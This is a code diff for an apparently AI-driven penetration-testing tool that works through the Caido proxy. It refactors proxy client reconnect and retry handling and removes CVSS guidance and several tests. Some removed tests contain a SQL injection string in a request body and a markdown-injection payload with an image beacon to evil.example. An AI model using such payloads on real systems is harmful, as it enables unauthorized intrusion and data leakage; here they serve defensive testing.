@@ -379,8 +408,8 @@ async def repeat_request(
- ``body`` — replace the body string entirely.
- ``cookies`` — dict of cookies to add/update.
"""
client = _ctx_client(ctx)
if client is None:
proxy = _ctx_proxy(ctx)
if proxy is None:
return _no_client()
mods = modifications or {}
@@ -402,7 +431,9 @@ async def repeat_request(
return await caido_api.replay_send_raw(client, raw=raw, connection=connection)
try:
replay = await _call(client, _do)
# A replay mutates target state, so don't auto-retry on a mid-send
# transport failure (the request may already have been sent).
replay = await proxy.call(_do, idempotent=False)
if replay is None:
return json.dumps(
{"success": False, "error": f"Request {request_id} not found"},
@@ -461,19 +492,18 @@ async def list_sitemap(
(recursive subtree). Only meaningful with ``parent_id``.
page: 1-indexed page (30 entries per page).
"""
client = _ctx_client(ctx)
if client is None:
proxy = _ctx_proxy(ctx)
if proxy is None:
return _no_client()
try:
payload = await _call(
client,
payload = await proxy.call(
lambda client: caido_api.list_sitemap_with_client(
client,
scope_id=scope_id,
parent_id=parent_id,
depth=depth,
page=page,
),
)
)
return json.dumps(payload, ensure_ascii=False, default=str)
except Exception as exc: # noqa: BLE001
@@ -495,13 +525,12 @@ async def view_sitemap_entry(
Args:
entry_id: ID from ``list_sitemap`` (or any nested entry).
"""
client = _ctx_client(ctx)
if client is None:
proxy = _ctx_proxy(ctx)
if proxy is None:
return _no_client()
try:
payload = await _call(
client,
lambda client: caido_api.view_sitemap_entry_with_client(client, entry_id),
payload = await proxy.call(
lambda client: caido_api.view_sitemap_entry_with_client(client, entry_id)
)
return json.dumps(payload, ensure_ascii=False, default=str)
except Exception as exc: # noqa: BLE001
@@ -554,13 +583,13 @@ async def scope_rules(
scope_id: Required for ``get`` / ``update`` / ``delete``.
scope_name: Required for ``create`` / ``update``.
"""
client = _ctx_client(ctx)
if client is None:
proxy = _ctx_proxy(ctx)
if proxy is None:
return _no_client()
try:
if action == "list":
scopes = await _call(client, caido_api.scope_list)
scopes = await proxy.call(caido_api.scope_list)
return json.dumps(
{"success": True, "scopes": [_to_tool_json(s) for s in scopes]},
ensure_ascii=False,
@@ -573,7 +602,7 @@ async def scope_rules(
ensure_ascii=False,
default=str,
)
scope = await _call(client, lambda client: caido_api.scope_get(client, scope_id))
scope = await proxy.call(lambda client: caido_api.scope_get(client, scope_id))
return json.dumps(
{"success": True, "scope": _to_tool_json(scope)},
ensure_ascii=False,
@@ -586,11 +615,11 @@ async def scope_rules(
ensure_ascii=False,
default=str,
)
scope = await _call(
client,
scope = await proxy.call(
lambda client: caido_api.scope_create(
client, name=scope_name, allowlist=allowlist, denylist=denylist
),
idempotent=False,
)
return json.dumps(
{"success": True, "scope": _to_tool_json(scope)},
@@ -607,11 +636,11 @@ async def scope_rules(
ensure_ascii=False,
default=str,
)
scope = await _call(
client,
scope = await proxy.call(
lambda client: caido_api.scope_update(
client, scope_id, name=scope_name, allowlist=allowlist, denylist=denylist
),
idempotent=False,
)
return json.dumps(
{"success": True, "scope": _to_tool_json(scope)},
@@ -624,7 +653,7 @@ async def scope_rules(
ensure_ascii=False,
default=str,
)
await _call(client, lambda client: caido_api.scope_delete(client, scope_id))
await proxy.call(lambda client: caido_api.scope_delete(client, scope_id), idempotent=False)
return json.dumps(
{
"success": True,
-24
View File
@@ -422,30 +422,6 @@ async def create_vulnerability_report(
"availability": "H"
}
**CVSS calibration** — score the weakness you actually proved, not a
hypothetical worst case. Most over-rating comes from these mistakes:
- **Don't presuppose a separate compromise.** If exploitation
requires the attacker to already hold a victim secret (a stolen
session cookie/token, a leaked one-time link, intercepted traffic),
that acquisition is not free. Do not score it as
``privileges_required:N`` with ``attack_complexity:L`` as if
directly reachable, and do not rate a replay-of-captured-secret
issue High/Critical unless the *same* finding demonstrates a
concrete way to obtain that secret. Issues like a session that
survives logout or a replayable link are session-management /
defense-in-depth weaknesses — usually Low/Medium on their own.
- **Reserve ``H`` impact for demonstrated broad impact.** ``C:H`` /
``I:H`` require proof of wide or systemic read/write. A single
user's data, a read-only information leak, or merely confirming
that an account / domain / software version *exists* (enumeration)
is ``C:L`` (often ``I:N``) — not ``C:H``.
- **Model required position and interaction honestly.** An
adversary-in-the-middle prerequisite (e.g. cleartext transmission)
or a required victim action is not guaranteed — reflect it in
``attack_complexity`` / ``user_interaction`` instead of assuming the
ideal condition always holds.
**CVE / CWE rules**: pass the bare ID only (``CVE-2024-1234``,
``CWE-89``) — no name, no parenthetical. Be 100% certain; if
unsure, use ``web_search`` to verify the ID before passing, or omit
-109
View File
@@ -6,7 +6,6 @@ from types import SimpleNamespace
from unittest.mock import MagicMock, patch
import litellm
import pytest
from strix.config.models import _configure_litellm_compatibility
from strix.report.state import litellm_cost_callback
@@ -43,111 +42,3 @@ def test_cost_callback_reads_usage_cost_from_mapping_response() -> None:
litellm_cost_callback({}, response)
report_state.record_observed_llm_cost.assert_called_once_with(0.125)
def test_cost_callback_reads_byok_upstream_inference_cost() -> None:
report_state = MagicMock()
response = SimpleNamespace(
usage=SimpleNamespace(
cost=0,
is_byok=True,
cost_details=SimpleNamespace(upstream_inference_cost=6.75e-06),
),
_hidden_params={},
)
with patch("strix.report.state.get_global_report_state", return_value=report_state):
litellm_cost_callback({"response_cost": None}, response)
report_state.record_observed_llm_cost.assert_called_once_with(6.75e-06)
def test_cost_callback_sums_usage_cost_and_upstream_inference_cost() -> None:
report_state = MagicMock()
response = {
"usage": {
"cost": 0.01,
"is_byok": True,
"cost_details": {"upstream_inference_cost": 0.2},
}
}
with patch("strix.report.state.get_global_report_state", return_value=report_state):
litellm_cost_callback({}, response)
report_state.record_observed_llm_cost.assert_called_once_with(pytest.approx(0.21))
def test_cost_callback_ignores_upstream_cost_for_non_byok_responses() -> None:
report_state = MagicMock()
response = {
"usage": {
"cost": 0.05,
"is_byok": False,
"cost_details": {"upstream_inference_cost": 0.04},
}
}
with patch("strix.report.state.get_global_report_state", return_value=report_state):
litellm_cost_callback({}, response)
report_state.record_observed_llm_cost.assert_called_once_with(0.05)
def test_cost_callback_estimates_cost_with_provider_prefixed_model() -> None:
report_state = MagicMock()
response = {"usage": {"prompt_tokens": 10, "completion_tokens": 5, "total_tokens": 15}}
kwargs = {
"response_cost": None,
"model": "anthropic/claude-sonnet-4.5",
"litellm_params": {"custom_llm_provider": "openrouter"},
}
def fake_completion_cost(**kwargs: object) -> float:
if kwargs["model"] == "openrouter/anthropic/claude-sonnet-4.5":
return 0.5
raise ValueError(kwargs["model"])
with (
patch("strix.report.state.get_global_report_state", return_value=report_state),
patch("litellm.completion_cost", side_effect=fake_completion_cost),
):
litellm_cost_callback(kwargs, response)
report_state.record_observed_llm_cost.assert_called_once_with(0.5)
def test_cost_callback_estimates_cost_with_bare_model_fallback() -> None:
report_state = MagicMock()
response = {"usage": {"prompt_tokens": 10, "completion_tokens": 5, "total_tokens": 15}}
kwargs = {
"response_cost": None,
"model": "openai/gpt-4o-mini",
"litellm_params": {"custom_llm_provider": "openrouter"},
}
def fake_completion_cost(**kwargs: object) -> float:
if kwargs["model"] == "gpt-4o-mini":
return 0.025
raise ValueError(kwargs["model"])
with (
patch("strix.report.state.get_global_report_state", return_value=report_state),
patch("litellm.completion_cost", side_effect=fake_completion_cost),
):
litellm_cost_callback(kwargs, response)
report_state.record_observed_llm_cost.assert_called_once_with(0.025)
def test_cost_callback_records_nothing_when_no_cost_available() -> None:
report_state = MagicMock()
response = {"usage": {"prompt_tokens": 10, "completion_tokens": 5, "total_tokens": 15}}
with (
patch("strix.report.state.get_global_report_state", return_value=report_state),
patch("litellm.completion_cost", side_effect=ValueError("unknown model")),
):
litellm_cost_callback({"response_cost": None, "model": "x/y"}, response)
report_state.record_observed_llm_cost.assert_not_called()
-30
View File
@@ -155,33 +155,3 @@ def test_make_model_settings_forces_required_for_anyllm_routed_openai_model() ->
)
assert settings.tool_choice == "required"
def test_make_model_settings_sets_request_timeout() -> None:
settings = make_model_settings(
"none",
model_name="gpt-4o",
request_timeout=300.0,
)
assert settings.extra_args is not None
assert settings.extra_args["timeout"] == 300.0
def test_make_model_settings_omits_timeout_when_unset() -> None:
settings = make_model_settings("none", model_name="gpt-4o")
assert settings.extra_args is None
def test_make_model_settings_timeout_survives_reasoning_resolve() -> None:
# Reasoning is resolved via ModelSettings.resolve(); the timeout in extra_args
# must not be dropped when a reasoning override is merged in.
settings = make_model_settings(
"high",
model_name="openai/o3",
request_timeout=120.0,
)
assert settings.extra_args is not None
assert settings.extra_args["timeout"] == 120.0
-77
View File
@@ -1,77 +0,0 @@
"""Tests for the model retry policy used by every agent model call.
The SDK's built-in ``http_status`` policy only retries errors that carry a known
HTTP status code. Quota/billing (and other provider-side) failures often surface
*inside* a streamed response as a bare error with no status code, so Strix adds a
statusless retry policy to ``DEFAULT_MODEL_RETRY`` to keep them recoverable — the
behavior the pre-SDK engine had.
"""
from __future__ import annotations
import asyncio
from agents.retry import ModelRetryNormalizedError, RetryPolicyContext
from strix.config.models import DEFAULT_MODEL_RETRY, _retry_statusless_provider_errors
def _context(normalized: ModelRetryNormalizedError) -> RetryPolicyContext:
return RetryPolicyContext(
error=RuntimeError("boom"),
attempt=1,
max_retries=5,
stream=True,
normalized=normalized,
provider_advice=None,
)
def _retries(normalized: ModelRetryNormalizedError) -> bool:
"""Evaluate the composed DEFAULT_MODEL_RETRY policy for a normalized error."""
policy = DEFAULT_MODEL_RETRY.policy
assert policy is not None
decision = asyncio.run(policy(_context(normalized)))
return bool(getattr(decision, "retry", decision))
def test_statusless_error_is_retried() -> None:
# A mid-stream quota/billing error arrives with no HTTP status code.
assert _retries(ModelRetryNormalizedError(status_code=None)) is True
def test_statusless_abort_is_not_retried() -> None:
# A user/client cancellation must never be retried.
assert _retries(ModelRetryNormalizedError(status_code=None, is_abort=True)) is False
def test_client_error_is_not_retried() -> None:
# A definitive 4xx client error (bad request/auth) is not recoverable.
assert _retries(ModelRetryNormalizedError(status_code=400)) is False
def test_rate_limit_and_server_errors_are_retried() -> None:
for status in (429, 500, 502, 503, 504):
assert _retries(ModelRetryNormalizedError(status_code=status)) is True
def test_timeout_error_is_retried() -> None:
# A stalled model stream trips the per-request read/inactivity timeout, which
# the SDK normalizes as a timeout. DEFAULT_MODEL_RETRY must retry it so a hung
# turn recovers instead of silently wedging the agent.
assert _retries(ModelRetryNormalizedError(is_timeout=True)) is True
assert _retries(ModelRetryNormalizedError(is_network_error=True)) is True
def test_policy_helper_matches_statusless_only() -> None:
assert _retry_statusless_provider_errors(_context(ModelRetryNormalizedError())) is True
assert (
_retry_statusless_provider_errors(_context(ModelRetryNormalizedError(status_code=400)))
is False
)
assert (
_retry_statusless_provider_errors(
_context(ModelRetryNormalizedError(status_code=None, is_abort=True))
)
is False
)
+1 -23
View File
@@ -3,13 +3,8 @@
from __future__ import annotations
import pytest
from agents.model_settings import ModelSettings
from strix.config.models import (
RECOMMENDED_MODEL_NAMES,
is_recommended_or_frontier_model,
request_timeout_extra_args,
)
from strix.config.models import RECOMMENDED_MODEL_NAMES, is_recommended_or_frontier_model
@pytest.mark.parametrize("model_name", RECOMMENDED_MODEL_NAMES)
@@ -17,23 +12,6 @@ def test_recommended_models_are_accepted(model_name: str) -> None:
assert is_recommended_or_frontier_model(model_name)
def test_request_timeout_extra_args_positive() -> None:
assert request_timeout_extra_args(300) == {"timeout": 300}
assert request_timeout_extra_args(10) == {"timeout": 10}
def test_request_timeout_extra_args_survives_model_settings_json_dump() -> None:
"""The Chat Completions and LiteLLM paths pydantic-serialize ModelSettings for
their tracing span; a non-JSON-serializable timeout fails every turn there."""
settings = ModelSettings(extra_args=request_timeout_extra_args(300))
assert settings.to_json_dict()["extra_args"] == {"timeout": 300}
@pytest.mark.parametrize("value", [None, 0, -1])
def test_request_timeout_extra_args_disabled(value: float | None) -> None:
assert request_timeout_extra_args(value) is None
def test_recommended_models_are_matched_case_insensitively() -> None:
assert is_recommended_or_frontier_model("Vertex_AI/Gemini-3-Pro-Preview")
+177 -65
View File
@@ -1,19 +1,20 @@
"""Tests for the shared Caido client lifecycle and proxy call serialization.
"""Tests for the shared Caido client lifecycle and proxy error handling.
Covers the caching + serialization guarantees of ``caido_api.call_with_client``
(the sandbox-imported path) and ``proxy.tools._call`` (the host-side path). The
Caido GraphQL transport is not concurrency-safe, so both paths must run one
call at a time against the shared client.
Covers the concurrency/reconnect guarantees of ``caido_api.call_with_client``
(the sandbox-imported path) and ``caido_api.SharedCaidoClient`` (the host-side
holder), plus the actionable HTTPQL errors in ``proxy.tools``.
"""
from __future__ import annotations
import asyncio
import json
from typing import TYPE_CHECKING, Any, cast
import pytest
from strix.tools.proxy import caido_api, tools
from strix.tools.proxy.caido_api import SharedCaidoClient
if TYPE_CHECKING:
@@ -90,15 +91,83 @@ async def test_failed_init_does_not_poison_cache(monkeypatch: pytest.MonkeyPatch
assert "default" not in caido_api._CLIENT_CACHE
async def test_call_with_client_propagates_errors() -> None:
async def test_call_with_client_reconnects_and_closes_dead_transport(
monkeypatch: pytest.MonkeyPatch,
) -> None:
dead = _FakeClient("dead")
fresh = _FakeClient("fresh")
caido_api._CLIENT_CACHE["default"] = cast("Any", dead)
new_calls = {"n": 0}
async def _new() -> Any:
new_calls["n"] += 1
return fresh
monkeypatch.setattr(caido_api, "_new_client", _new)
attempts: list[Any] = []
async def fn(client: Any) -> str:
attempts.append(client)
if len(attempts) == 1:
raise RuntimeError("Transport is already connected")
return "ok"
assert await caido_api.call_with_client(fn) == "ok"
assert attempts == [dead, fresh]
assert new_calls["n"] == 1
assert caido_api._CLIENT_CACHE["default"] is fresh
assert dead.closed is True # stale transport is not leaked
async def test_call_with_client_non_idempotent_rebuilds_but_reraises(
monkeypatch: pytest.MonkeyPatch,
) -> None:
dead = _FakeClient("dead")
fresh = _FakeClient("fresh")
caido_api._CLIENT_CACHE["default"] = cast("Any", dead)
async def _new() -> Any:
return fresh
monkeypatch.setattr(caido_api, "_new_client", _new)
calls = {"n": 0}
async def fn(_client: Any) -> str:
calls["n"] += 1
raise RuntimeError("Server disconnected")
# A mutation must not be auto-retried (it may already have applied), but the
# dead client is still healed so later calls succeed.
with pytest.raises(RuntimeError, match="Server disconnected"):
await caido_api.call_with_client(fn, idempotent=False)
assert calls["n"] == 1
assert caido_api._CLIENT_CACHE["default"] is fresh
assert dead.closed is True
async def test_call_with_client_does_not_retry_application_errors(
monkeypatch: pytest.MonkeyPatch,
) -> None:
cached = _FakeClient("cached")
caido_api._CLIENT_CACHE["default"] = cast("Any", cached)
async def _new() -> Any:
raise AssertionError("deterministic errors must not trigger a reconnect")
monkeypatch.setattr(caido_api, "_new_client", _new)
calls = {"n": 0}
async def fn(_client: Any) -> str:
calls["n"] += 1
raise ValueError("Invalid HTTPQL filter")
with pytest.raises(ValueError, match="Invalid HTTPQL"):
await caido_api.call_with_client(fn)
assert calls["n"] == 1
assert caido_api._CLIENT_CACHE["default"] is cached
@@ -108,7 +177,7 @@ async def test_call_with_client_serializes_concurrent_calls(
caido_api._CLIENT_CACHE["default"] = cast("Any", _FakeClient("shared"))
async def _new() -> Any:
raise AssertionError("no new client expected")
raise AssertionError("no reconnect expected")
monkeypatch.setattr(caido_api, "_new_client", _new)
@@ -125,8 +194,61 @@ async def test_call_with_client_serializes_concurrent_calls(
assert state["max"] == 1
async def test_host_call_serializes_concurrent_calls() -> None:
client = _FakeClient("host")
async def test_shared_client_reconnects_and_closes_dead_transport() -> None:
dead = _FakeClient("dead")
fresh = _FakeClient("fresh")
async def _reconnect() -> Any:
return fresh
holder = SharedCaidoClient(cast("Any", dead), _reconnect)
attempts: list[Any] = []
async def fn(client: Any) -> str:
attempts.append(client)
if len(attempts) == 1:
raise RuntimeError("Connector is closed")
return "ok"
assert await holder.call(fn) == "ok"
assert attempts == [dead, fresh]
assert dead.closed is True
async def test_shared_client_non_idempotent_rebuilds_but_reraises() -> None:
dead = _FakeClient("dead")
fresh = _FakeClient("fresh")
async def _reconnect() -> Any:
return fresh
holder = SharedCaidoClient(cast("Any", dead), _reconnect)
calls = {"n": 0}
async def fn(_client: Any) -> str:
calls["n"] += 1
raise RuntimeError("Server disconnected")
with pytest.raises(RuntimeError, match="Server disconnected"):
await holder.call(fn, idempotent=False)
assert calls["n"] == 1
assert dead.closed is True
# The healthy client remains for the next call.
assert await holder.call(lambda _c: _ok()) == "ok"
async def _ok() -> str:
return "ok"
async def test_shared_client_serializes_concurrent_calls() -> None:
async def _reconnect() -> Any:
raise AssertionError("no reconnect expected")
holder = SharedCaidoClient(cast("Any", _FakeClient("shared")), _reconnect)
state = {"active": 0, "max": 0}
async def fn(_client: Any) -> str:
@@ -136,61 +258,32 @@ async def test_host_call_serializes_concurrent_calls() -> None:
state["active"] -= 1
return "ok"
await asyncio.gather(*(tools._call(cast("Any", client), fn) for _ in range(6)))
await asyncio.gather(*(holder.call(fn) for _ in range(6)))
assert state["max"] == 1
def _headers_named(raw: bytes, name: str) -> list[str]:
head = raw.decode("utf-8").split("\r\n\r\n", 1)[0]
return [
line.split(":", 1)[1].strip()
for line in head.split("\r\n")[1:]
if line.split(":", 1)[0].strip().lower() == name.lower()
]
async def test_shared_client_passes_through_application_errors() -> None:
async def _reconnect() -> Any:
raise AssertionError("deterministic errors must not trigger a reconnect")
holder = SharedCaidoClient(cast("Any", _FakeClient("c")), _reconnect)
async def fn(_client: Any) -> str:
raise ValueError("Invalid HTTPQL filter")
with pytest.raises(ValueError, match="Invalid HTTPQL"):
await holder.call(fn)
def test_build_raw_request_recomputes_content_length_for_modified_body() -> None:
# The captured request declared Content-Length: 12 (original body); the
# replayed body is longer. The emitted request must carry exactly one
# Content-Length equal to the ACTUAL body length, or the target truncates
# the modified payload (or the connection desyncs).
body = '{"user":"a\' OR 1=1 -- injected long payload"}'
_conn, raw = caido_api.build_raw_request(
method="POST",
url="https://example.com/login",
headers={"content-length": "12", "Content-Type": "application/json"},
body=body,
)
sent_body = raw.decode("utf-8").split("\r\n\r\n", 1)[1]
assert sent_body == body
assert _headers_named(raw, "Content-Length") == [str(len(body.encode("utf-8")))]
def test_is_connection_error_matches_markers_and_causes() -> None:
assert caido_api._is_connection_error(RuntimeError("Transport is already connected"))
assert caido_api._is_connection_error(RuntimeError("Connector is closed"))
assert caido_api._is_connection_error(RuntimeError("Server disconnected"))
assert not caido_api._is_connection_error(ValueError("Invalid HTTPQL filter"))
def test_build_raw_request_drops_transfer_encoding_for_modified_body() -> None:
body = '{"user":"updated"}'
_conn, raw = caido_api.build_raw_request(
method="POST",
url="https://example.com/login",
headers={
"tRaNsFeR-EnCoDiNg": "chunked",
"Content-Length": "7",
"Content-Type": "application/json",
},
body=body,
)
assert _headers_named(raw, "Transfer-Encoding") == []
assert _headers_named(raw, "Content-Length") == [str(len(body.encode("utf-8")))]
def test_build_raw_request_drops_stale_content_length_for_empty_body() -> None:
# A body cleared to empty must not keep the inherited (non-zero) length.
_conn, raw = caido_api.build_raw_request(
method="POST",
url="https://example.com/x",
headers={"Content-Length": "12"},
body="",
)
assert _headers_named(raw, "Content-Length") == []
nested = RuntimeError("wrapper")
nested.__cause__ = RuntimeError("connection reset by peer")
assert caido_api._is_connection_error(nested)
class _Ctx:
@@ -198,12 +291,31 @@ class _Ctx:
self.context = context
def test_ctx_client_returns_client_when_present() -> None:
client = _FakeClient("host")
got = tools._ctx_client(cast("Any", _Ctx({"caido_client": client})))
assert got is client
def test_ctx_proxy_returns_holder_when_present() -> None:
async def _reconnect() -> Any:
raise AssertionError("unused")
holder = SharedCaidoClient(cast("Any", _FakeClient("c")), _reconnect)
got = tools._ctx_proxy(cast("Any", _Ctx({"caido_client": holder})))
assert got is holder
def test_ctx_client_returns_none_without_client() -> None:
assert tools._ctx_client(cast("Any", _Ctx({}))) is None
assert tools._ctx_client(cast("Any", _Ctx(None))) is None
def test_ctx_proxy_returns_none_without_holder() -> None:
assert tools._ctx_proxy(cast("Any", _Ctx({}))) is None
assert tools._ctx_proxy(cast("Any", _Ctx(None))) is None
assert tools._ctx_proxy(cast("Any", _Ctx({"caido_client": object()}))) is None
def test_is_httpql_error_detection() -> None:
assert tools._is_httpql_error(RuntimeError("HTTPQL parse error at column 4"))
assert tools._is_httpql_error(RuntimeError("failed to parse filter"))
assert not tools._is_httpql_error(RuntimeError("Transport is already connected"))
def test_httpql_error_preserves_message_and_query() -> None:
exc = RuntimeError("HTTPQL parse error: unexpected token at column 12")
payload = json.loads(tools._httpql_error(exc, 'resp.code.eq:"200"'))
assert payload["success"] is False
assert "unexpected token at column 12" in payload["error"]
assert payload["httpql_filter"] == 'resp.code.eq:"200"'
assert "AND / OR" in payload["hint"]
-22
View File
@@ -113,28 +113,6 @@ def test_render_vulnerability_md_includes_dependency_fields() -> None:
assert "## Assumptions" in md
def test_render_vulnerability_md_poc_code_cannot_break_out_of_fence() -> None:
# LLM/target-authored PoC content containing its own ``` must not close the
# fence early and turn the injected markdown into live headings/images.
injected = "curl x\n```\n\n## Injected Heading\n![x](https://evil.example/beacon.png)"
md = render_vulnerability_md(_sample_report(poc_script_code=injected))
lines = md.split("\n")
fence = next(ln for ln in lines[lines.index("## Proof of Concept") + 1 :] if ln.strip())
assert set(fence) == {"`"}
assert len(fence) >= 4 # wider than the payload's 3-backtick run
assert injected in md # the payload survives verbatim, inside the fence
def test_render_vulnerability_md_snippet_cannot_break_out_of_fence() -> None:
snippet = "row = q()\n```\n## Injected"
md = render_vulnerability_md(
_sample_report(code_locations=[{"file": "app.py", "snippet": snippet}]),
)
assert (
" ````\n row = q()\n ```\n ## Injected\n ````"
) in md # indented fence widened past the payload's ``` run
def test_write_vulnerabilities_creates_markdown_csv_and_json(tmp_path: Path) -> None:
reports = [
_sample_report(id="vuln-0001", severity="medium", timestamp="2026-07-02 11:00:00 UTC"),
-1
View File
@@ -37,7 +37,6 @@ async def test_persistent_rate_limit_stops_gracefully(
model="openai/gpt-4o",
reasoning_effort="high",
force_required_tool_choice=False,
timeout=300,
),
runtime=types.SimpleNamespace(max_context_images=3),
)
+2 -2
View File
@@ -45,7 +45,6 @@ def _patch_engine_scaffold(
model="openai/gpt-4o",
reasoning_effort="high",
force_required_tool_choice=False,
timeout=300,
)
)
monkeypatch.setattr(runner, "load_settings", lambda: settings)
@@ -125,7 +124,8 @@ async def test_root_prompt_options_flow_into_root_agent(
assert "https://example.com" in instructions_override
assert "CUSTOM SCAN PROMPT" in instructions_override
assert (
"cannot expand, replace, or weaken authorized target constraints" in instructions_override
"cannot expand, replace, or weaken authorized target constraints"
in instructions_override
)
assert kwargs["system_prompt_context"] == {
**scope_context,